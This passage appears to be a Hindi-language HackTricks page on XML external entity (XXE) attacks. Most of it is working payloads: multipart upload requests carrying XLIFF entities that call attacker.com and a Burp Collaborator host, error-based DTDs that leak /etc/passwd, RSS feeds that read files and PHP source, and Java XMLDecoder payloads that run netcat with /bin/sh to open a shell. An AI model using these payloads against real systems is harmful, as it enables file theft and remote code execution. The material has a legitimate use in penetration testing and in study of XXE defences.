<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

यह उदाहरण https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe से प्रेरित है।

XLIFF (XML स्थानीयकरण अंतराल फ़ाइल प्रारूप) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका मुख्य रूप से उपयोग स्थानीयकरण के दौरान टूल्स के बीच स्थानीयकरणीय डेटा को स्थानांतरित करने के लिए और CAT (कंप्यूटर सहायित अनुवाद) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में प्राथमिक रूप से उपयोग किया जाता है।

अंधा अनुरोध विश्लेषण

निम्नलिखित सामग्री के साथ सर्वर को एक अनुरोध किया जाता है:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

हालांकि, यह अनुरोध एक आंतरिक सर्वर त्रुटि को ट्रिगर करता है, विशेष रूप से मार्कअप घोषणाओं के साथ समस्या का उल्लेख करता है:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

गलती के बावजूद, Burp Collaborator पर एक हिट दर्ज किया गया है, जिससे बाहरी एंटिटी के साथ किसी स्तर के बातचीत का पता चलता है।

आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन के लिए, एक संशोधित अनुरोध भेजा जाता है:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

यह दृष्टिकोण दिखाता है कि उपयोगकर्ता एजेंट का उपयोग जावा 1.8 का है। इस जावा संस्करण के साथ एक नोटेड सीमा यह है कि आउट ऑफ बैंड तकनीक का उपयोग करके /etc/passwd जैसे न्यूलाइन वाले फ़ाइल्स को पुनः प्राप्त करने में असमर्थता है।

त्रुटि-आधारित डेटा निकासी इस सीमा को पार करने के लिए, एक त्रुटि-आधारित दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल निम्नलिखित ढंग से संरचित है ताकि एक त्रुटि को ट्रिगर करें जिसमें लक्षित फ़ाइल से डेटा शामिल हो:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

सर्वर एक त्रुटि के साथ प्रतिक्रिया देता है, महत्वपूर्ण रूप से अस्तित्वहीन फ़ाइल को प्रतिबिम्बित करता है, जिससे प्रकट होता है कि सर्वर निर्दिष्ट फ़ाइल तक पहुँचने का प्रयास कर रहा है:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

फ़ाइल की सामग्री को त्रुटि संदेश में शामिल करने के लिए, DTD फ़ाइल को समायोजित किया जाता है:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

यह संशोधन फ़ाइल की सामग्री की सफल निकासी की ओर ले जाता है, क्योंकि यह HTTP के माध्यम से भेजे गए त्रुटि आउटपुट में प्रतिबिम्बित होता है। यह एक सफल XXE (XML External Entity) हमला की ओर संकेत करता है, जो संवेदनशील जानकारी निकालने के लिए Out of Band और Error-Based तकनीकों का उपयोग करता है।

RSS - XEE

XXE जोखिम का शोध करने के लिए मान्य XML जिसमें RSS प्रारूप है।

पिंग बैक

हमलावर्ग के सर्वर को सरल HTTP अनुरोध

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

फ़ाइल पढ़ें

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

स्रोत कोड पढ़ें

PHP base64 फ़िल्टर का उपयोग करें

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

जावा XMLDecoder XEE से RCE तक

XMLDecoder एक Java कक्षा है जो XML संदेश पर आधारित ऑब्जेक्ट बनाती है। यदि एक दुर्भाग्यपूर्ण उपयोगकर्ता एक अनुरोध में readObject विधि का उपयोग करने के लिए अनियमित डेटा का उपयोग करा सकता है, तो वह तुरंत सर्वर पर कोड क्रियान्वयन हासिल कर लेगा।

Runtime().exec() का उपयोग

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

प्रक्रिया निर्माता

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

उपकरण

संदर्भ

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated